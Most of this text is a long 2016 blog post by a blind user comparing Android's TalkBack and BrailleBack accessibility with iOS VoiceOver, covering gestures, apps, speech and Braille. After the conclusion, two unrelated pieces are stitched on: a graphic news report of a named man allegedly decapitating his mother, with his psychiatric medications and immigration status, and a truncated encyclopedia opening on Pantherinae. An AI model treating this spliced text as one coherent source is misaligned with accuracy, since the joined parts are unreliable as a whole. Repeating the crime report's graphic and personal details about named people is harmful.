Android allows you to jazz up your home screen with a combination of apps and widgets. If you like the weather visible right on page one of your Home Screen, it’s doable. If, like me, you work a lot with currencies other than your local one, you can put exchange rates right there. There are thousands of these things, so one needs to be a bit selective or you’ll get information overload. Widgets certainly make you feel like you have plenty of information literally right at your fingertips.
Your home screen can be even more useful thanks to the ability to add a contact right to it. Third-party apps make this possible on iOS with more effort, but in Android, it’s a feature that’s part of the OS. This could be particularly useful for less tech-savvy users who may need a small set of contacts they can reach in emergency situations.
Feels like Home
Product pricing is always a tricky business for companies serving many markets. Some of us do the numbers on the cost of these devices, and feel that when the current exchange rate is being taken into account, we’re not getting a fair deal. This has been a common complaint with the pricing of iPhone in New Zealand, but what makes it all the more irksome is that a number of flagship features aren’t available here. So we’re paying more for less.
Apple has not seen fit to make its News app available in New Zealand, but Google’s is and it seems to work very well. It takes advantage of the well-established web-based Google News service, which mines articles from the web and can be customised to your preferences. Being Google, it gets better over time at understanding what you like to read.
Similarly, Google’s weather information in New Zealand is more accurate, because they’ve taken the time to integrate with New Zealand’s Met Service, the official provider of weather information here.
As already mentioned, transit directions work here whereas they don’t in Apple Maps.
Google’s Voice Assistant knows much more about local things than does the present implementation of Siri, including rugby and cricket information, something I’m sure my readers in Australia, the UK and a number of other countries will appreciate.
Apple Pay isn’t available in New Zealand, and nor is Android Pay at the moment. However, the fact that the Near Field Communications chip on Android phones isn’t locked down to the hardware or OS manufacturer means that alternative payment solutions can be used.
In short, my Android device seems more aware and more capable of serving me in my location.
While I’m on the subject of NFC, the openness of the technology on Android lends itself to some awesome applications. We own a couple of UE Meggaboom Bluetooth speakers, which are NFC-aware. All I had to do to get the speakers paired with this Android device was to touch the two devices together in the right place. Very impressive.
Our bus system here is also NFC-enabled with a supported SIM, so you’ve paid for your bus trip just by getting on the bus with your Android phone.
The Play Store
I’ve enjoyed using the Play Store, Google’s App Store equivalent, very much. There are two areas where it has really stood out for me.
First, while the Store experience is fully accessible on the device itself, it’s also fully accessible via any browser. It’s a pleasure to use Firefox with JAWS to explore the Store, search for specific apps, and then nominate a specific device to which I want to send the app. If the device is switched off, all of the requests will be queued for when the device is next on and connected to the Internet.
Yes, a similar function is available through iTunes, but I find a browser-based experience more speedy and pleasant.
The second thing I like about the Play Store is so beneficial to anyone with accessibility needs that it gets a “hey wow” award. If you buy an app and find it to be inaccessible, you can press a button within two hours of making the purchase that fully refunds you, no questions asked. This has been extended from an initial limit of 15 minutes. Two hours is ample to determine whether the app is fully accessible, completely unusable or somewhere in between, and if there are issues, whether you’d like to chance your luck on trying to get the developer to make some changes.
Text-To-Speech
I’ve been a very happy camper while conducting this evaluation, because I’ve had Eloquence on my phone. You can install a range of voices onto your device, and any app can hook into those voices. It’s elegant, and it works. You can also purchase the full range of Nuance iVocalizer voices.
The voices I purchased from Code Factory all offer a feature many of us have been asking for in iOS for a long time – a pronunciation dictionary. The pronunciation of unusual words can vary widely between text-to-speech engines, so there are advantages in having the ability to change pronunciation on an engine-by-engine basis. It would still be useful at times to have a pronunciation dictionary in the screen reader itself, when you want to make global changes.
Presently, it’s not possible to change pronunciation when using Android’s default text-to-speech.
It’s a little thing, but I do appreciate that when I’ve set my language to a non-American version of English, the text-to-speech will use words like “full stop” instead of “period”.
Voice Commands in Google Now
When Google was established, it was all about search. So it’s not surprising that Google does a mind-blowing job of responding, often with remarkable precision, to specific questions. Ask Siri a question, and while it will sometimes give you a specific answer, it will more frequently tell you, “I’ve found something on the web, take a look”.
Google Now also integrates with third-party applications, vastly extending the feature’s capabilities. If I tell Google Now to take a note, I get prompted for the name of the app I want to use.
I can tell Google Now to play a specific clip on YouTube, or an artist in Google Play Music.
If I say “Send a WhatsApp Message to Bonnie”, that’s all it takes.
Just as with Siri, you can post on Twitter or Facebook by voice.
I found Google Now to be snappy in issuing its responses, and highly accurate with dictation. The latter is hard to quantify and it may just be wishful thinking on my part, but it’s backed up by some studies which suggest that Google has a higher accuracy rate.
I have, however, come away from this process with a new appreciation of Siri. First, I can issue the “Hey Siri” command, or hold down the Home button, from anywhere in my iPhone. The process of configuring “Hey Siri” to respond to my voice is completely accessible.
For some but not all users, Google Now can be launched system-wide, or even when the phone is locked if you choose to configure it that way. There are two problems.
First, the process is not easy for a blind person to set up in currently shipping versions of Android, although it is vastly improved in Android N, currently in beta. To get “OK Google” to work system-wide, you currently have to quit or suspend TalkBack before invoking the screen where the configuration choices are located, then start or resume it again. Compared to the simple, fully accessible “Hey Siri” process, it’s not a good experience at all and will put many people off configuring “OK Google” for global use.
Second, while I can use “Hey Siri” with my language set to New Zealand English, the OK Google feature is disabled for me altogether in Android because of my language choice. This is unusual, since I have found overall that Google generally supports New Zealand well. Global OK Google is a rare exception.
Google Now’s ability to control system functions is lacklustre compared with Siri’s. With Google Now, I can toggle off Wi-Fi and Bluetooth, but not cellular data. I can add an appointment or reminder, but I can’t change or delete one. I can adjust the brightness, but can’t turn on or off do not disturb.
Most important of all, I can’t turn TalkBack on or off, despite Google clearly knowing what I want. If I say “OK Google, turn TalkBack on”, I get taken to accessibility settings. That’s not very helpful, since I’m blind and have no idea where to perform the two taps that would enable TalkBack for me.
Chromecast
I took another foray into the world of Google with the purchase of a Chromecast Audio device. It’s a low-cost dongle, configurable via an Android or iOS app, that connects to your Wi-Fi. It has a range of audio output jacks so you can connect it to wired speakers, a rack system, a Sonos CONNECT etc. Once set up, you can beam audio from your device to the Chromecast Audio.
There’s also a full audio and video version, that plugs into an HDMI port.
In iOS, functionality is limited because specific apps have to support the technology. But in Android, Chromecast support is baked into the operating system. It’s a great experience, and it is superior to Apple’s AirPlay technology in one important respect. In iOS, unless you’re using an iTunes in the Cloud service, your iDevice is responsible for sending the entire TV show, movie or podcast from the iDevice to the device receiving the AirPlay signal. Your enjoyment of the content can be affected by Wi-Fi glitches, crashes, or incoming calls. It can also be a battery drain.
Once you start “casting” something, your mobile device is taken out of the mix. Chromecast takes over the streaming. You can make calls, play other content on your phone, even shut it down altogether if you want to, and the content just keeps on playing on the device you’re casting to.
Chromecast is also fully multi-room aware.
I came to have a real appreciation for how well the technology functions on Android. It just works.
Third-party apps
I’ve briefly tested over 200 apps in the time I’ve been working with my Nexus 6P. Some of them were recommended by experienced Android users, and some were Android versions of apps I have and like on my iPhone.
Almost all of the blindness apps I tried operated similarly to their iOS counterparts. I had excellent results with KNFB Reader, finding it to be accurate and fast. I appreciated being able to take a few pics without having to pay for the app again, having plonked down the cash for the iOS version already.
TapTapSee also didn’t disappoint.
I worked with a couple of currency identification apps specific to Android that performed their function well.
Sadly, BlindSquare isn’t available for Android and I missed having it around.
Voice Dream Reader exists on Android, although it is doing such clever things with gestures for VoiceOver users in iOS that I noticed how less efficient it was to use on Android. That’s not at all a criticism of the developer, but I think more of a reflection on the constraints when developing. I suppose if the app were completely self-voicing and took TalkBack out of the loop altogether, a similar experience might be possible.
Dice World, whose developers have shown outstanding commitment to accessibility, works very well on Android, although there isn’t as much customisation of what the app speaks as there is in iOS. I have heard from some Samsung Galaxy users that some Samsung Games features need to be disabled to get Dice World to work correctly.
In terms of general apps, a very small number worked better for me on Android than on iOS. The one that stood out was the Healthmate app for my Withings Smart Body Analyser which I’ve blogged about previously. There were far fewer unlabelled buttons than on iOS, and the app was much more pleasurable to use.
Some apps were similar in accessibility between the operating systems. Apps like The Guardian, NPR News, and BBC News were very good.
Android seems well-served by the major social media and messenger apps. It seemed to me that I did a little more swiping around in Facebook for Android than I do in iOS, but it was accessible and I was able to use it without issue.
The official Twitter app works well, although just like its Mac equivalent, I found no way of stopping it from verbalising both the full name and the Twitter username in every tweet. I would prefer to hear just the full name.
I installed the Android version of my old friend Tweetings. By default, the user experience for a TalkBack user isn’t optimal, requiring multiple flicks for every tweet. But I got some great advice on how to reconfigure the app, after which it was a more than satisfactory experience.
I had no difficulty getting up and running with Skype, making and receiving calls easily with a layout that is similar to the iOS app.
I found the majority of apps were less pleasant for me to use on Android than iOS. Some of these relate to the user interface of, and what I perceive to be deficiencies in, TalkBack. No actions rotor and less intuitive gestures make for more long presses and scrolling around. But others were far less subjective. Unlabelled buttons were more common. In my banking app, which is 100% accessible on iOS and a joy to use, I couldn’t even log in once I’d set it up, because the keypad to enter the security code was inaccessible. Eventually, I worked out that I could get around that problem if I had a Bluetooth keyboard handy. Once I’d logged in, I could pay bills to external sources, but not transfer money between accounts.
The DSAudio app for my Synology NAS was useable, but not terribly efficient. I have a very large music collection, and in iOS, the table index means that I could scroll to artists beginning with a specific letter of the alphabet with precision. There was no such table index in the Android app, perhaps this is a kind of control that just isn’t present in Android. TalkBack has some excellent scrolling capabilities which I was able to use, but it’s not as precise as choosing a specific letter of the alphabet to get to, and took me much longer.
An app I use a lot in iOS, the Sonos controller, was useable I think only because I knew what I was looking for thanks to the fully accessible iOS app. The Android version is verbose and erroneously identifies the kinds of controls in use.
What was impressive though is that when using Google Play Music, I was able to send music directly to any of my Sonos devices, rather like the way AirPlay works in iOS.
In fairness to Android, there’s probably a chicken and egg element about the high number of inaccessible apps in at least some of these cases. In many English-speaking countries at least, I don’t think there’s any doubt that the majority of blind smartphone users are using iOS. App developers are therefore likely to receive more requests from iOS users to address accessibility deficiencies in their apps. So I do intend to take up some of these accessibility issues, especially with my bank, to see how easily they might be addressed.
It won’t solve all the problems, but if the inaccessibility of an app relates to little or no text labels on buttons, you can label them either through experimentation to see what the buttons do, or with sighted assistance.
Some apps I use regularly aren’t available for Android at all, but usually, I was able to find accessible substitutes. For example, in the absence of Downcast or Overcast, I used Pocket Casts as my podcast client. It’s available on both iOS and Android, which meant that I was able to keep my podcasts in sync.
Using TalkBack
A screen reader is at the very heart of a blind person’s user experience of a computer or smartphone. So how capable is TalkBack and how does it measure up?
Adjusting the Volume
After getting TalkBack started, one thing that flummoxed me right away was that the volume controls on the phone were not controlling talkback volume. The tutorial, which was a bit of a strain to hear because of the low volume, made no mention of the fact that if I want to adjust it, I need to place a finger anywhere on the screen and then use the volume controls on the side of my device. It would have been very helpful had this been mentioned in the tutorial, and is a serious omission. This approach of having to place a finger on the screen to adjust TalkBack’s volume took a lot of getting used to. I seldom want to adjust the ringer volume, which is the default behaviour for these controls, but for various reasons, I want to adjust screen reader volume regularly. I often carry my phone around in my pocket, cabled directly to my hearing aids. Being able to adjust the volume one-handed is important to me.
A couple of days in, I stumbled upon a little free utility, Rocker Locker, that loads at start-up and locks the volume controls into adjusting media volume. This suited me fine until I got more ambitious with the device. You can use the volume controls on your device to move the cursor around an edit field, so you can review, modify and delete text. But if you use a utility that locks the volume controls into performing media adjustment, it prevents this function from working. You can perform cursor movement via the menu system, but it’s nowhere near as simple. So ultimately, I surrendered to the force and just accepted that placing a finger on the screen before adjusting the volume is just how it is.
TalkBack Tutorial
As mentioned in the section on set-up, TalkBack comes with a tutorial which teaches users about how the screen reader works. It runs automatically the first time you run TalkBack, and it is available at any time from within TalkBack’s Settings. If you’re getting to know a new device and user interface, there’s a lot to take in. So users may get the basics down first, then revisit the tutorial several times as they add to their knowledge. The tutorial is well-structured for this, being divided into five lessons. Lesson one introduces the user to navigation basics, starting with exploring by touch. If you’re coming from another device that uses touch, these concepts will be rudimentary, but it’s a great introduction for those who haven’t used touch before. It covers locating icons on the screen, then double-tapping to activate the last icon that was spoken. It then moves onto swiping left or right to navigate between icons.
Lesson two introduces us to scrolling with talkback. This is the point at which anyone switching from iPhone will start to notice some key differences. More on scrolling shortly.
Lesson three covers the global and local TalkBack menus. Some of the functions on these menus are now available through the use of more convenient gestures. Others are still handy, such as spelling the last thing that TalkBack said, repeating it, getting to settings for TalkBack and TTS among other things.
Lesson four covers text navigation, and how one can move by common units such as character, line, word, sentence, paragraph and page.
Finally, lesson five covers text editing.
As previously mentioned, I’d like to have seen the tutorial cover the important first step of setting the volume to a level that’s comfortable for the end user. I would also like to have had a lesson of the tutorial devoted to the earcons. These are sounds made by TalkBack that are designed to provide contextual information to the user without the need to have the information spoken. But nowhere within TalkBack itself is there an explanation of what all these bings and bongs, which makes TalkBack sound a bit like an old video game, mean.
While the tutorial is a wonderful feature and could be improved with an extra lesson or two, I think there is a separate use case for a good old fashioned practice mode, something available in most screen readers. Shortly, I’m going to have a lot to say about the angular gestures used a lot within TalkBack. They can be hard to master, and I’d like a mode where you can perform a gesture and hear what it does. This should apply to gestures specific to TalkBack, as well as those belonging to the operating system.
Hints
Just as in VoiceOver, TalkBack by default speaks hints, providing users with information about how to interact with a control. One feature I came to appreciate was that when customised actions were available for the current item from the local context menu, TalkBack would tell you what they were without the need to invoke the menu.
Working with lists
The need to scroll through lists within TalkBack has in the past made navigating larger lists convoluted, because swiping left and right didn’t auto-scroll the view of what was on-screen as is common in other touch environments. TalkBack therefore includes a range of commands to scroll through both vertical and horizontal lists.
TalkBack now offers an auto-scroll feature which is on in its settings by default. This has made a big difference, but it’s still not as robust or seamless as iOS. One difference between iOS and Android is that when you swipe using TalkBack, the screen wraps. For example, if you are in TalkBack’s settings and reach the bottom, swiping once again will cause you to go to the first item within the app. At least, that’s how it should work. I find that usually, if I swipe from the start of a list of items to the end, auto-scrolling works pretty well, and mostly offers a seamless experience similar to VoiceOver in iOS. But once you wrap back around to the top again, auto-scrolling may not work as predictably. When auto-scrolling stops working reliably, swiping left, right and then left again may not produce predictable results. And indeed if you do that too quickly, you’ll activate one of TalkBack’s multi-layered gestures.
TalkBack Gestures
If you’re coming from iOS, one thing you’ll need to get used to is the implementation of what I’m calling angular gestures. Google may have an official term for them, but I’ve not seen it documented anywhere. The closest thing an iOS user has to this approach is VoiceOver’s two-finger scrub to activate the Back button. The two-finger scrub gesture is fairly tolerant in that you can perform it in all directions, whereas TalkBack makes use of a number of such gestures, so they must be performed precisely. For example, you may need to swipe left then right, up then right, down then left, down then up, or right then down, all in a fluid motion.
Even though I’ve been dabbling in Android since 2013,and have been immersing myself in it as I get to know my Nexus 6P, I still find these gestures difficult. I think the issue is that you have to be holding your device fairly straight before you perform them, since if you don’t, the vertical part of a gesture may be interpreted by the software as a diagonal one.
I also believe that these gestures are better left to lesser used functions, with simpler gestures being used for functions users are likely to perform regularly. For example, TalkBack makes no use of triple taps. It makes no use of two, three or four-finger taps at all. I don’t know whether there is a limitation in the operating system that prevents TalkBack from using such gestures, but having a wider range of taps available would improve the user experience a great deal.
When I’ve raised this with Android users, one suggestion that came back was that some older devices aren’t capable of detecting multi-finger gestures. It’s hard for me to imagine that there might be many such devices in 2016, but if it is in fact the case, then it’s another example of how fragmentation can constrain the accessibility experience.
While I appreciate that Android is not iOS, there is a set of gestures that has become common to both iOS and Windows. Some of these, such as swiping right and left, are supported by TalkBack. Others, such as the rotor and a two-finger swipe down to perform a read all function, are not. At present, this gesture is part of the set used for scrolling.
While I understand that we can’t expect all user interfaces to be identical, if a convention has been established as I believe it has been in terms of a gesture set for accessible touch screen navigation, using that convention is in the company’s best interests since it reduces the learning curve, and that, most importantly, is in the end user’s best interests.
One of the core functions of any screen reader is the ability to read continuously from where you are to the bottom of the screen or end of a document. When you want to read a newspaper article on the web or in a news app, or when you have a long email you want to hear, you’ll perform a say all function. TalkBack offers the ability to perform a say all in a number of ways, none of which I believe are particularly appropriate given the importance of this feature and the frequency with which it is used. You can shake the phone, and you’re offered some control over how hard you need to shake it to invoke a say all. Set the threshold too low, and you’ll be reading the screen continuously just by walking around with the phone in your pocket. Set it too high, and you’ll get fatigued pretty quickly from shaking your phone every time you want to read something continuously. Try shaking it on the bus too often, and you’ll be approached by bemused passengers who want to know if there’s something wrong with the blind guy’s phone that they might be able to help with. Or maybe you’ll elbow the passenger next to you due to your enthusiastic shaking.
You can assign it to an angular gesture. Again, the issue I have here is that I find them difficult to perform at the best of times, and I’ve given up trying to perform them when the phone is in my pocket.
If your device supports it, you can also single-tap or double-tap the side of the device. This can also lend itself to accidental activation, and can equally be difficult to perform when you want to use the feature.
What I would give for a simple two-finger swipe down to get this essential function, just like in iOS and Windows.
Even when you manage to perform the read all function, in many apps I have found that it doesn’t work at all. In some apps, there are significant pauses or there is a little repetition, while in some apps it works very well.
Similarly, you can get to the top or bottom of a screen with layered vertical gestures, while the much simpler four-finger tap at the top or bottom of the screen goes unused.
A gesture has not been implemented to stop TalkBack’s speech. The only way to do so at present is to wave a hand in front of your device’s proximity sensor if it has one. I’ve found this problematic at times because when I’m using the phone, one of my hands seems to rest in around that location naturally, causing continuous reading when I’ve been lucky enough to get it working to stop.
The TalkBack team has made some welcome changes to gestures, dispensing by default with the circular menus that many of us found frustrating. Now the default is to show these menus in list form. Perhaps we’ll see a gesture set that is more familiar to users of other touch screen products in future.
Your Commands Your Way
TalkBack gives you the ability to reassign gestures and keyboard commands to suit your preferences. With my trainer’s hat on, I can se that this may cause some issues for trainers if they don’t realise that a user has changed the gestures and keyboard commands around. With my end user’s hat on, I appreciate this flexibility.
The configurability is somewhat limited, in that you first choose from the available list of gestures, then you choose the function you’d like to assign. Obvious candidates such as multiple taps of two or more fingers are not available.
The same kind of functionality is available for Bluetooth keyboards. By default, a set of TalkBack keys are assigned using Shift and Alt as the modifier keys. I find them intuitive and quite effective. But if you’re a creature of habit and you want to use a key combination that makes the keyboard support feel more like VoiceOver, you can do that.
I have not found a way to navigate through an edit field or select text by character and word from the Bluetooth keyboard, but you can type into edit fields, hear what you’re typing, and backspace over text to delete it. Pressing Control+A to select all text, then Delete to erase it, also works. . Shortcut keys, an area where Apple and some third-party developers have been making significant progress of late in iOS, are scarce in Android apps. Occasionally, I find that I can press Control+N to start something new in an official Google app such as Gmail or Calendar. A few other keys work, but not many.
One only needs to look at the efficient experience offered by Twitterific in iOS with its suite of keyboard commands to know what a productivity boost well-implemented keyboard shortcuts can be.
Granularity
Granularity refers to the unit by which you navigate, such as character, word, line or paragraph. It is great to see TalkBack supporting paragraph granularity, VoiceOver on iOS does not. When you’re in a web environment, you’ll also want to navigate by elements such as links, headings and form controls.
TalkBack now has easy granularity control. One simply swipes up or down to choose the granularity, then swipes left or right to navigate by the unit you’ve chosen.
It’s elegant in its simplicity, although some may find the simplicity to be limiting. In Windows and iOS, a rotor feature allows you to choose what will happen when you swipe up and down. The rotor need not be limited to text navigation. You might, for example, want to adjust your speech rate, or toggle a certain function on and off. In iOS, apps that are programmed appropriately can include an actions rotor, making it easy to select commonly used functions based on context. I find that the actions rotor gives me a significant productivity boost.
By hard-wiring the swipe up and down to only apply to text navigation, TalkBack has limited the functionality of one of the simplest gestures one can perform.
For example, in certain controls, swiping up and down with one finger might have been able to change values. Instead, one interacts with certain controls a little like one does in OS X. You double-tap a control, and double-tap to select a value which causes you to be exited from the control. You then evaluate the impact of the change you’ve made, then repeat the process as many times as needed in order to find the value you want.
The lack of a rotor means that at present, there is no simple way to adjust speech rate on the fly. You’ll need to get all the way into the text-to-speech settings to do that. And there isn’t a way to adjust punctuation, an important feature when you’re proofing
On the flip side, of all the iOS and Windows gestures, I’ve found that people seem to find the rotor gesture the most difficult to master.
Playing Nice with other media
It’s important that any smartphone screen reader co-exists effectively with the many audio and video apps available. TalkBack attempts to do so, but in my experience there are often significant issues.
TalkBack’s volume is controlled using the multimedia volume, the same volume control that governs audio and video applications. So it’s not possible to set TalkBack’s volume independent of the playback volume, other than determining that it should be a certain arbitrary percentage of the playback volume. VoiceOver, on the other hand, has a rotor item that provides for separate control of its volume, independent of media apps.
A number of screen readers now offer a feature that VoiceOver calls audio ducking. This is where the volume of any media you’re listening to is slightly lowered when the text-to-speech engine says something, and raised again when speaking has stopped. In TalkBack, this feature is called focus speech audio. At least on the hardware I have, it is far too buggy to be left enabled. It works as intended in some apps, such as Google Play Music, but it makes a number of other media apps unusable. When I’m listening to a radio station via TuneIn Radio or CSpan Radio, focus speech audio causes audio to stop playing altogether whenever the screen reader speaks, resuming exactly from where it stopped when speaking has finished. This makes it impossible to have a radio station on in the background while doing other things, something I do regularly. I’m advised that going into TuneIn’s settings and enabling a toggle telling it not to pause audio in the background will improve the experience with that app. But there are still many other apps where keeping focus speech audio on breaks things.
I’ve also not found a way to play and pause audio from anywhere, as one can with the handy magic tap in iOS. There’s an argument to be made that the magic tap is trying to perform too many functions and sometimes gets confused, such as failing to pause audio that’s playing when you try to use the gesture to answer the phone. I have some sympathy for that argument, but there still in my view needs to be a way to toggle playback from anywhere with TalkBack.
Dimming the Screen
iOS has a feature known as screen curtain, which protects the privacy of blind users by darkening the screen when VoiceOver is on. It gives you peace of mind to know no one’s looking over your shoulder while you’re working with sensitive data.
TalkBack’s equivalent is called Dim Screen. You can enable a shortcut to toggle it on and off, and/or enable it in TalkBack settings. Unfortunately, I’ve had to stop using the feature, because I’m too often prompted by messages within other apps that an overlay is obscuring the screen. This feature is not fit for purpose, and it would be better to remove it than frustrate users with a very poor user experience.
BrailleBack
Regular readers to this blog will know how passionate I am about ensuring that mainstream manufacturers pay appropriate attention to Braille. While I have expressed reservations on several occasions about the quality of Apple’s Braille support, it is considerably more advanced than BrailleBack on Android. I truly wish I had more positive things to say.
BrailleBack is a separate, free application, available from the Play Store. It’s not part of TalkBack, but it is dependent on it. If you shut down TalkBack because you want to use Braille only, you’re out of luck. You’ll get a little Braille feedback, and can still control the Android device from your Braille display, but you won’t have sufficient information to use the device successfully.
The most critical flaw in the integration of TalkBack and BrailleBack is that you can’t turn speech off. Even if everything else about the Android experience had exceeded my wildest expectations, this one thing would be the deal breaker. I often work on all of my devices with speech off. Whether it be in Windows, iOS or OS X, I can always toggle speech off with a quick command. You just can’t do it with Talkback. What this means is that when I’m in a meeting, I’d have to have something connected to the headphone jack, or turn the volume all the way down, just to use my phone as a Braille-only device. If I wanted to read something while I enjoy some music, I can’t do that, because every time BrailleBack scrolls to a new chunk of text, TalkBack speaks it.
Once you’ve installed BrailleBack, you’ll find that the command set is unorthodox. I’ve been using Braille devices since the VersaBraille 33 years ago. All Braille software I’ve used has adhered to a command set that has become a standard. As a product manager in this field for a couple of companies, I was always careful to adhere to it, and it’s not as if BrailleBack offers anything that is logical or better, it’s just deficient and confusing.
Normally, you would expect dots 1-2-3-cord to take you to the top of a document or screen, and dots 4-5-6—cord to take you to the bottom. In BrailleBack, dots 1-2-3-cord opens keyboard help, while dots 4-5-6-cord does nothing. This standard set of commands include navigation and speaking of lines, words and characters. Few of them are observed.
There seems to be a lack of structured mode in BrailleBack, meaning that several icons are placed one after the other on the screen. On the Home Screen, icons are separated by a colon. You can press a cursor routing key to activate an icon. I found no reference to how you might activate an icon if you don’t have cursor routing keys, but this may be because the software is sensitive to the display that is connected.
Being able to hold down a cursor routing key to simulate a long press is a nice feature.
Unified English Braille is now supported for contracted and uncontracted output, but not for input. Contracted input is not supported at all . Contracted input admittedly is a difficult thing to get right, Apple still hasn’t managed it.
Before you can even enter any text from your Braille display, you need to go into the device’s settings and enable the Braille hardware keyboard, setting it to be the default.
While I had excellent results as a speech user with Kindle, I could not find a way to read material beyond what is on the current screen in Braille. Contrast this with the seamless way VoiceOver scrolls through pages in iBooks and Kindle with a Braille display.
The combination of all these factors makes a mainstream Android device a non-starter for the serious Braille user. It makes it not viable in education where Braille is important. And most significantly, it is a non-starter for DeafBlind users, who are information-deprived, and deserve far better than this. BrailleBack desperately needs some love, and I believe Google needs to take it seriously. It should be part of the core accessibility suite, not an optional download, so it’s easy to activate from early on in the device set-up process.
Conclusion
I’m predisposed to liking the way Android does things, and as I’ve outlined in this lengthy post, there is a lot to like. In terms of ensuring that Google’s own apps are accessible, the progress made has been enormous. You can buy an Android device from the store, hopefully get TalkBack up and running yourself although that’s not guaranteed, and be assured of a pretty decent out-of-box experience. That’s great news for people who are on a budget, or who for whatever reason just want to have a choice. That freedom is available to sighted people, and I think it’s fair to say that it’s now available to us.
Can you get things done and truly use an Android phone effectively? In my view, the answer is that depending on your requirements, an Android device may work for you. If you’re a heavy Braille user, the inability to mute TalkBack and the limited Braille command set is probably going to be a deal breaker for you, as it is for me.
If you don’t use Braille, I think Android is very much viable for users in two categories. If you’re highly geeky, you have a profound philosophical objection to the way Apple prevents you from using your device as you see fit, and you like customising the heck out of your device, there’s really no contest. I enjoyed being able to work with file managers, cable up my phone to my PC to copy data both ways, and just generally basking in the lack of constraints.
At the other end of the spectrum, if you’re on a budget and an iPhone’s out of your price range, and you tend to stay on the beaten path in terms of the tasks you want to perform, I think Android now offers a reasonable experience.
I wouldn’t call it an optimal experience at this point. There are probably some ongoing underlying issues to be addressed at the operating system level, and work will assuredly continue with Android N, but the major reservation I continue to have with Android is the user interface of TalkBack. It’s come a long way, with complex circular menus no longer the default, and granularity far simpler now, but it still feels convoluted and geeky to me. In saying that, I readily concede that if you use it day in, day out for a long time, it may become second nature.
As I mentioned about 8000 words ago, I bought the nexus 6P so I could be assured of receiving Android updates promptly. I think that was a sound decision for someone like me to make, nevertheless I do have a bit of buyer’s remorse and wonder if I would have been happier with a Samsung device, running their screen reader which has a gesture set that is more orthodox from the perspective of a Windows or iOS user. You can perform a say all with the familiar two-finger swipe down. A swipe up or down will adjust granularity just as it does in TalkBack, but there is also a gesture, far easier for many to perform than the iOS rotor, which allows you to swipe up and down to adjust speech rate, screen reader volume, toggle screen dimming and more. The magic tap works to play and pause media anywhere. While I haven’t minded not having a physical Home button on my Nexus 6P, Samsung’s devices tend to offer one, allowing you to perform a familiar triple-click home to toggle their screen reader on and off. So if it weren’t for how long it sometimes takes Samsung to push the latest version of Android, I would be replacing my Nexus 6P with a Galaxy S7, specifically because I believe TalkBack is letting down what could now be quite a good user experience for speech users. Since Android fragmentation is an issue that affects everyone and is of concern to Google, I’m hopeful we’ll see some improvements here, which might remove my primary reason for not going with the more intuitive Samsung solution.
I also remain hopeful that Samsung will do for Braille on Android what they’ve done for speech.
That said, I have only examine an S7 briefly, so there may be issues with its product that I’ve not had the chance to experience. For example, some people have expressed concern about the amount of software that is included on Samsung devices that can’t be removed. It also has a speaker that sounds mediocre given its price.
If Samsung offered their screen reader for sale to owners of other Android devices, I’d buy it. After all, I’d have two obligation-free hours to give it a try and could get my money refunded if I found it wasn’t much better.
I’m excited about keeping my Android device around, because unlike iOS, it’s undoubtedly possible for someone else to come along and produce an alternative screen reader, as Samsung have demonstrated. Would sufficient people pay for one if it offered a better experience? I’m not sure they would. But perhaps a group of open-source developers who see the efficiency flaws in TalkBack and believe in an open platform may do something special. Then again, TalkBack may continue to evolve. There are some very capable people involved with its development for whom I have immense respect. It seems to me that the fundamental problem TalkBack now has is a legacy user interface that is familiar to those who have used it for a while, but may put off potential adopters.
While I’m on the subject of the capable people, it has been gratifying to see members of the TalkBack development team engaging with end users on email lists. We have a long-standing culture of this kind of exchange of ideas in the blind community, and it’s good to see Google open to this kind of communication.
While I’m encouraged by all the progress that has been made, and optimistic about the progress that will continue to be made, for now this exercise has given me a renewed appreciation of the VoiceOver and iOS experience. I’m no fan boy and have offered what I hope is constructive criticism over the years when I think its warranted, but Apple got the basics right back in 2009 with the core gesture set. From there, year on year, they’ve added things that have enhanced efficiency. Bluetooth keyboard support, Braille display support with all its idiosyncrasies, handwriting, Braille screen input, the actions rotor, the item chooser, in-app keyboard shortcuts, all help a blind person to get and enter information efficiently and reliably.
While surprising liberation continues to occur, I do wish iOS would be less of a control freak. But in the end, what matters to me most is how efficiently I can manage my busy life. I love to tinker, but I also have clients and commitments.
And of course, most of the practical benefits in terms of the services Google offers are available on iOS, with most of them now being highly accessible.
So unless you’re a major geeky hacker, or an iPhone just isn’t in your budget, I do believe that for now, as I write in June 2016, iOS is a more polished, reliable, efficient experience from an accessibility perspective. That said, those who say Android is unusable by a blind person are I think selling the platform short. If you have the opportunity to use an Android device for yourself, I highly encourage you to take that opportunity. If you’re coming from iOS, give yourself some time. Some things are different, but that doesn’t automatically make them inferior. Some stores and carriers offer a 14 or even 30 day right of return policy, and if you like to try new things, having a look at an Android device will I think be worth your while.
I can’t wait to see what happens next.
Have you switched from one platform to another? What prompted you to make the switch, and how well has it worked out for you? Are you an Android user with something to share on this post? I’d welcome your constructive comments.
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The Franklin County District Attorney said Tuesday that 18-year-old Oliver Mauricio Funes Machada will be moved to Central Prison because it's "more appropriate for any special needs he may have."Machada is being held without bond on a first-degree murder charge after deputies say he decapitated his mother at their home on Morgan Drive near Stonehill Drive just south of U.S. Highway 64 Monday afternoon. The area is east of Zebulon - near the Wake County line.At a a preliminary hearing Tuesday, both the prosecution and defense said they expect mental health to be an issue in the case. According to court documents, Machada took four different medications for psychosis and schizophrenia.Federal officials also said Tuesday that Machada is in the country illegally and they've issued an immigration detainer for him."ICE is focused on identifying, arresting and removing public safety threats, such as convicted criminal aliens and gang members, as well as individuals who have violated our nation's immigration laws," a U.S. Immigration and Customs Enforcement spokesperson told ABC11.Local investigators called it a horrific crime."Officers encountered the suspect holding a knife and, as reported, also holding his mother's head in the other arm," Franklin County Sheriff's Office Chief of Staff Terry Wright said. "It's tough for the deputies. It's tough for the communities. We will be offering any of them assistance who just may need it because it was a horrific scene that first responders had to respond to."Wright said Machada called 911 himself around 12:45 p.m. Monday after the murder."It looked to be a large butcher knife, the weapon that was used," said Sheriff Kent Winstead.Deputies said they found 35-year-old Yesenia Funez Beatriz Machado dead inside the home. Two young girls found in the home were unharmed. A fourth child was at school when the incident happened.At this point, investigators have few answers as to what led to this family tragedy. |
For the biological tribe of moths formerly known as Pantheridae or Pantherini, see Abraxini . For the psychoactive mushroom toxin sometimes called pantherine, see Muscimol
Pantherinae is a subfamily within the family Felidae, which was named and first described by Reginald Innes Pocock in 1917.[2]
Characteristics [ edit ]
